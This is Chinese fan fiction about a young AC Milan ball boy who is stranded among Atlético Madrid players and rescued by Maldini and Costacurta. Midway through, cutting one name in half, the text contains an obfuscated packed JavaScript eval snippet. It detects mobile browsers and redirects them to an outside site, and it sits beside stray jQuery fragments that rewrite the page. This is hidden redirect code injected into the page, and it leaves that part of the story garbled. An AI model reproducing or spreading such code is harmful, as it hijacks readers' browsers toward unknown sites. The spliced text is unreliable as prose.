后来米兰要去马竞客场作战，缺少球童时把耶莱斯带过去凑数，耶莱斯做马尔蒂尼的球童，科斯塔库塔还囔囔为什么不是他


    比赛结束之后耶莱斯被叫过去收拾米兰队的器材和杂物


    卡尔德隆球场的灯光渐次熄灭时，耶莱斯正蹲在客队更衣室的角落整理护腿板


    十四岁少年的影子被拉得很长，像一株误入伊比利亚半岛的意大利柏树，他数到第三遍护腿板时，突然意识到更衣室安静得可怕


    “?Hola, peque?o italiano!”（嘿，意大利小家伙！）一个洪亮的声音在门口炸响


    耶莱斯抬头看见马竞队长正倚在门框上，手里晃着一串西班牙辣香肠，“Te gusta el chorizo?”（喜欢香肠吗？）


    少年下意识后退半步，后背贴上冰冷的瓷砖，他想起科斯塔库塔教过的"国际通用手势"——双手交叉在胸前，配上坚定的摇头


    但这个动作似乎起了反效果，因为门口突然又冒出三个马竞球员


    “?Mira, es el ni?o que marcó a  Torres'' !“（看啊，就是这小子防死了托雷斯！）一个留着络腮胡的后卫兴奋地比划着，“?Ven a probar nuestra paella!”（来尝尝我们的海鲜饭！）


    耶莱斯感觉自己像被围观的稀有动物，他试图用战术板解释自己要回酒店，但画出的手势图被马竞球员误认为是邀请他们讨论战术


    更糟的是，当他用意大利语说“我要回家”时，对方以为他在赞美西班牙火腿，更崩溃的是他自己也根本听不懂对方再讲什么


    “?Escucha, chico!”（听着，孩子！）马竞门将突然单膝跪地，掏出一件红白球衣，“?El Atlético es tu familia!”（马竞就是你的家！）他的表情虔诚得像在求婚


    耶莱斯惊恐地发现，自己已经被逼到战术白板前，马竞球员们正用各种手势和半生不熟的意大利单词，试图说服他来到马竞


    有人展示奖杯陈列室照片，有人模仿西蒙尼的激情庆祝动作，甚至有人开始用战术笔在白板上画违约金数字


    乱中被推进室内训练场时，耶莱斯的运动鞋在塑胶地板上发出刺耳的摩擦声


    十五盏顶灯将场地照得如同白昼，马竞B队的小子们正在加练点球，当西蒙尼把足球塞进他怀里时，少年突然想起马尔蒂尼的警告：南欧人的热情有时比链式防守更难招架


    与此同时，米兰的包机正滑向跑道，马尔蒂尼突然从瞌睡中惊醒：“等等，谁看见米勒尔了？”


    他环顾四周，发现本该坐在身边的少年不见了踪影，机舱里响起此起彼伏的惊呼声，空乘人员开始翻找座位底下的储物格，仿佛耶莱斯会像丢失的耳机一样突然出现


    马尔蒂尼环顾四周，发现科斯塔库塔正用毯子蒙着头打呼噜


    “该死！”马尔蒂尼冲向驾驶舱，“掉头！我们落下了最重要的行李！”


    科斯塔库塔被马尔蒂尼一拳打醒时，迷迷糊糊地比出"小鸡手"：“发生什么了？耶莱斯又在战术板上画了什么惊世骇俗的阵型？”


    “比那更糟，”马尔蒂尼咬牙切齿，“我们把他落在马竞了”


    机长紧急中止起飞时，教练正在用对讲机咆哮：“掉头！掉头！我们丢了一个小甜菜后卫！”


    当马尔蒂尼和科斯塔库塔浑身湿透地冲进来，后者还在用西班牙语大喊：“?Devuélvannos a nuestro ni?o!”（把我们的孩子还来！


    耶莱斯蜷缩在战术白板前，周围摆满了马竞球员送来的各种"贡品"——从海鲜饭到球衣，从签名照到训练基地参观券


    少年脸上写满惊恐，手里还攥着半根没吃完的西班牙油条


    “?No, gracias!”（不，谢谢！）耶莱斯用刚学会的西班牙语拒绝又一个马竞球员的拥抱，抬头看见马尔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324993|167563||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蒂尼站在门口那一刻，十四岁少年的眼眶突然红了


    “对不起，”耶莱斯的声音带着哭腔，“我把自己弄丢了”


    这是马尔蒂尼第一次见到耶莱斯委屈的掉眼泪，甚至是第三次见他掉小金豆，一时间马尔蒂尼愧疚极了


    马尔蒂尼大步上前，将少年搂进怀里，他闻到了耶莱斯头发上的橄榄油味道——显然马竞球员试图用美食攻势打动这个意大利胃的少年


    “下次记得，”马尔蒂尼揉乱少年的卷发，轻轻擦掉他眼角的湿润


    “遇到这种情况就用科斯塔库塔教你的终极手势”


    耶莱斯从教练怀里抬起头，双手比出那个著名的手势：拇指和食指捏在一起，其他手指张开，在脸颊旁晃动


    这个动作让马竞球员集体后退三步


    “?Madre mía!”（我的天！）马竞队长捂住胸口，痛心疾首“这孩子已经是个地道的意大利人了！”


    回程的飞机上，耶莱斯枕着马尔蒂尼的肩膀睡着了，他的运动包里塞满了马竞球员硬塞的纪念品，口袋里还揣着一张写满电话号码的餐巾纸——“随时欢迎来马竞试训”


    科斯塔库塔凑过来偷看时，马尔蒂尼做了个噤声的手势，月光透过舷窗洒在少年脸上，他嘴角挂着安心的微笑，手里还紧紧攥着那枚银色战术板吊坠


    “下次，”马尔蒂尼轻声说，“我们得给这孩子配个翻译”


    “或者，”科斯塔库塔眨眨眼，带着狡黠的笑


    “教他更多国际通用手势”


    月光洒在米兰马尔彭萨机场的跑道上时，耶莱斯在睡梦中呢喃着西班牙语单词


    马尔蒂尼轻轻摘下粘在少年头发上的藏红花，突然意识到：这个总是安静得像影子一样的孩子，已经开始在足球世界里留下自己的印记了


    机舱里响起压抑的笑声，耶莱斯在睡梦中动了动，似乎梦见了美味的意大利面，这一刻，他不再是那个被遗忘在异国他乡的少年，而是被整个米兰大家庭守护的珍宝